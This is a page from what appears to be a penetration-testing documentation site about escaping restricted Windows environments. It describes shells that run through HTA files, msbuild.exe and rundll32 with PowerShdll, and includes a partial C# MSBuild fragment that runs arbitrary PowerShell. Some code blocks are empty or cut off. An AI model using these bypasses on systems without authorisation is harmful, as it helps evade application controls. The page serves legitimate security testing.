> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/breakout/alternatives-to-command-prompt.md). # Alternatives to command prompt ## HTA Shell its text, so you could copy paste the text into notepad, save as a "shell.hta" using the quotes to enforce file extension then file open on notepad right click the shell.hta and open Code: ## MSBuildShell code: execute: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj ``` ## pshell pshell is a msbuild that can execute powershell in the same terminal ```


        ");
						string x = Console.ReadLine();
						try
						{
							Console.WriteLine(RunPSCommand(x));
						}
						catch (Exception e)
						{
							Console.WriteLine(e.Message);
						}
					}
					
								return true;
				}
				
				//Based on Jared Atkinson's And Justin Warner's Work
				public static string RunPSCommand(string cmd)
				{
					//Init stuff
					Runspace runspace = RunspaceFactory.CreateRunspace();
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();

					//Add commands
					pipeline.Commands.AddScript(cmd);

					//Prep PS for string output and invoke
					pipeline.Commands.Add("Out-String");
					Collection results = pipeline.Invoke();
					runspace.Close();

					//Convert records to strings
					StringBuilder stringBuilder = new StringBuilder();
					foreach (PSObject obj in results)
					{
						stringBuilder.Append(obj);
					}
					return stringBuilder.ToString().Trim();
				 }
				 
				 public static void RunPSFile(string script)
				{
					PowerShell ps = PowerShell.Create();
					ps.AddScript(script).Invoke();
				}
				
				
			}
			
			
 
			
        ]]>

``` ## Powershell Alternatives ### PowerShdll Link: #### Example: `rundll32.exe PowerShdll.dll,main` #### dll mode: ``` rundll32 PowerShdll,main